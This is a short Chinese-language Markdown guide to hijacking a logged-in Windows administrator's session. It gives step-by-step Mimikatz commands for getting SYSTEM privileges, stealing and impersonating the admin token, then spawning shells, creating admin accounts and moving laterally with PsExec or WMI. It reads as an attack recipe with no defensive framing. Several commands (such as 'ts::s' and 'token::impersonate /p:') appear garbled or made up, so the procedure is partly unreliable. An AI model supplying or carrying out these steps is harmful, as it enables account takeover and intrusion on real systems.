41 lines
1.9 KiB
Markdown
41 lines
1.9 KiB
Markdown
### 桌面有管理员会话，怎么做会话劫持
|
||
|
||
**步骤一：获取 SYSTEM 权限**
|
||
|
||
要窃取管理员的令牌，你首先需要获得比该管理员会话更高的权限，通常是 **SYSTEM 权限**
|
||
|
||
- **方法一：** 如果你当前是以管理员权限运行的，可以尝试直接使用 Mimikatz 的 `token::elevate` 命令，它会尝试提升到 SYSTEM 权限
|
||
- **方法二：** 如果当前权限较低，可以通过提权漏洞（如服务权限配置错误、内核漏洞等）来提升到 SYSTEM 权限
|
||
|
||
**步骤二：识别目标进程**
|
||
|
||
你需要找到一个由管理员账户启动的进程，该进程的令牌是你想要窃取的。通常，你可以通过 `tasklist /v` 命令来查看所有进程及其所属的用户
|
||
|
||
- **常用目标进程：**
|
||
- `explorer.exe`：这是桌面进程，通常由当前登录的用户启动
|
||
- `winlogon.exe`：这是一个关键的系统进程，与用户会话和登录相关
|
||
- 其他由管理员账户启动的应用程序
|
||
|
||
**步骤三：窃取并冒用令牌**
|
||
|
||
一旦你有了 SYSTEM 权限，就可以使用 Mimikatz 来窃取令牌
|
||
|
||
- **命令：**
|
||
1. `mimikatz.exe`
|
||
2. `privilege::debug`
|
||
3. `token::elevate`
|
||
4. `whoami` （此时你应该看到你是 `NT AUTHORITY\SYSTEM`）
|
||
5. `ts::session` （列出所有会话，找到管理员的会话 ID）
|
||
6. `ts::s` + `<会话ID>` （切换到管理员的会话）
|
||
7. `token::list` （列出当前会话的所有令牌，找到管理员的令牌）
|
||
8. `token::impersonate /p:<进程ID>` （冒充管理员会话的某个进程的令牌）
|
||
9. `whoami` （此时你应该看到你已经是管理员用户了）
|
||
|
||
**步骤四：执行命令**
|
||
|
||
当你成功冒充管理员身份后，你就可以执行任何管理员权限的命令，例如：
|
||
|
||
- `shell powershell`
|
||
- `shell cmd.exe`
|
||
- 创建新的管理员账户
|
||
- 执行横向渗透命令（如 `PsExec`、`WMI`） |